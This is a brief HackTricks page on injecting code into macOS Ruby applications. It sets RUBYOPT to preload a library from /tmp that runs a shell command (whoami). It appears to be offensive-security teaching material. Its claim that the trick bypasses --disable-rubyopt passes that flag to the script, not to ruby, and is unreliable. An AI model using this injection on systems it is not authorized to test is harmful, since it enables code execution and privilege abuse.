macOS Ruby Applications Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

RUBYOPT

Using this env variable it's possible to add new params to ruby whenever it gets executed. Although the param -e cannot be used to specify ruby code to execute, it's possible to use the params -I and -r to add a new folder to the libraries to load path and then specify a library to load.

Create the library inject.rb in /tmp:

inject.rb

puts `whoami`

Create anywahere a ruby script like:

hello.rb

puts 'Hello, World!'

Then make an arbitrary ruby script load it with:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fun fact, it works even with param --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.